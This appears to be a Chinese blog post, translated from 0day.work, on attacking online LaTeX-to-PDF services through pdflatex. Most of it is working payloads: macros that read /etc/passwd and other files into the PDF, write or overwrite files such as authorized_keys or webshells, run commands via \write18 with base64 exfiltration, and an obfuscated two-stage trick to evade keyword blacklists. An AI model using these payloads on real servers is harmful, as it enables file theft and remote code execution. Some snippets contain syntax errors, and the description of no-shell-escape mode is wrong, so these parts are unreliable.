添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

简介
LaTex常用于编写文档、页面排版, 使用latex语法编写然后经过编译最后形成文档. 互联网上有一种在线输入latex然后生成pdf供用户下载的服务, 这种服务使用pdflatex组件在服务器端编译latex并生成pdf, 由于是客户端输入的数据, 因此具有不安全性, 而pdflatex本身支持读写文件、执行操作系统命令, 构造恶意的代码即可造成远程命令执行或读写文件产生恶意攻击.

  • attack latex
  • 绕过黑名单限制
  • attack latex

    本文介绍了基于WEB的LaTex编译器的基本攻击,

    TexMaker 是一个在线转换LaTex代码为pdf的网站, 在客户端输入LaTex代码, 服务器端接收LaTex代码后使用 pdflatex 将LaTex编译为pdf.(互联网上这种类似的服务还有很多)
    LaTex 经过了图灵测试, 也就意味着可以用它编写函数, 因此未来可能出现用 LaTex 编写的恶意软件. 但是, 本文重点关注 LaTex 读取、写入文件或执行程序的现有方法和可能性. 本文是
    paper 的延伸.

    Pdflatex 有三种操作模式

  • no-shell-escape
    进行 \write18{command} 执行, 即使函数已经在texmf.cnf文件中启用
  • shell-restricted
    与shell-escape类似, 但是只能执行安全的预定义命令集
  • shell-escape
    允许 \wite18{command} 执行
  • 读文件

    Pdflatex的三种模式都允许从文件系统中读取任意文件, 读取文件最简单的方法是使用 \input

    1
    \input\{/etc/passwd}

    上述命令将读取 /etc/passwd 文件并写入到生成的PDF文件中

    如果读取的文件以 .tex 结尾, 可以用 \include 读取

    1
    \include{password}

    上述命令将从当前工作目录包含 password.tex 并将文件内容写入到生成的PDF文件中

    如果上述的两个命令都无法使用, 可以用下面的解决方案:
    方案一: 读取指定文件的首行

    1
    2
    3
    4
    5
    \newread\file
    \openin\file=/etc/passwd
    \read\file to\line
    \text{\line}
    \closein\file

    上述代码段创建一个 \file 处理对象并打开 /etc/passwd 文件, 读取一行到变量 \line 中, 将变量 \line 作为文本( \text )输出, 关闭文件处理对象

    如果想读取全部内容, 可使用下面的代码段

    1
    2
    3
    4
    5
    6
    7
    \newread\file
    \openin\file=/etc/passwd
    \loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
    \repeat
    \closein\file

    上述代码创建一个 \file 文件对象, 打开 /etc/passwd 并读取, 然后用 \loop 进行循环, 循环内读取一行到 \fileline 变量中, 将变量作为文本输出, 等遇到 EOF 或文件读取完毕关闭文件对象.

    读文件功能可以用来读取SSH key、配置文件(找新目标和硬编码等信息)等等

    写文件

    写文件功能运行在 shell-restricted shell-escape 两种模式下, 命令如下

    1
    2
    3
    4
    \newwrite\outfile
    \openout\outfile=cmd.tex
    \write\outfile{hello-world}
    \closeout\outfile

    上述命令将在 cmd.tex 文件中写入 hello-world 字符串.

    写文件功能可用来清空文件内容、覆盖其他文件( ~/.ssh/authorized_keys 、各种配置、一句话木马等)

    执行命令

    执行命令依赖于 write18 命令, 因此只能在 -shell-escape 模式下运行.
    命令为

    1
    \immediate\write18{env}

    上述命令将运行 env 获取环境变量

    write18命令执行结果将被重定向到标准输出, 输出内容将在 epstopdf-sys.cfg 这行的下面、 pdftex.map 这行的上面, 所以可以根据这两个关键字判断是否执行成功.

    1
    2


    如果服务器端不返回编译日志的话, 我们无法直接通过上述命令来利用, 这是需要通过重定向将数据写入文件中, 然后将文件读取出来.

    1
    2
    \immediate\write18{env > env.tex}
    \input{env.tex}

    如果读取的文件中含有LaTex的保留字符, 如 $ 等, 可以使用base64编码之后在写入文件

    1
    2
    \immediate\write18{env|base64>text.tex}
    \input(text.tex)

    绕过黑名单

    style 1: 如果 input include 命令都不可用, 该如何读取文件?
    可以创建文件对象读取文件:

    1
    2
    3
    4
    5
    6
    7
    \newread\file
    \openin\file=env.tex
    \loop\unless\ifeof\file
    \read\file to\fileline
    \text{\fileline}
    \repeat
    \closein\file

    style 2: 如果 (inpute|include|write18|immediate) 都不可用, 该如何执行命令和读取文件呢?

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    \def \imm {\string\imme}
    \def \diate {diate}
    \def \eighteen {string18}
    \def \wwrite {\string\write\eighteen}
    \def \args {\string{ls |base64> test.tex\string}}
    \def \inp {\string\in}
    \def \iput {put}
    \def \cmd {\string{text.tex\string}}

    % first run
    \newwrite\outfile
    \openout\outfile=cmd.tex
    \write\outfile{\imm\diate\wwrite\args}
    \write\outfile{\inp\iput\cmd}
    \closeout\outfile

    % second run
    \newread\file
    openin\file=cmd.tex
    \loop\unless\ifeof\file
    \read\file to\fileline
    \fileline
    \repeat
    \closein\file

    上述代码, 第一次运行将创建 cmd.tex 文件并把 上面那串代码 的写入文件中, 第二次运行将读取 cmd.tex 然后执行其中的命令.
    ps:// \fileline 将执行 cmd.tex 文件中的命令

    声明

    本文翻译自 0day.work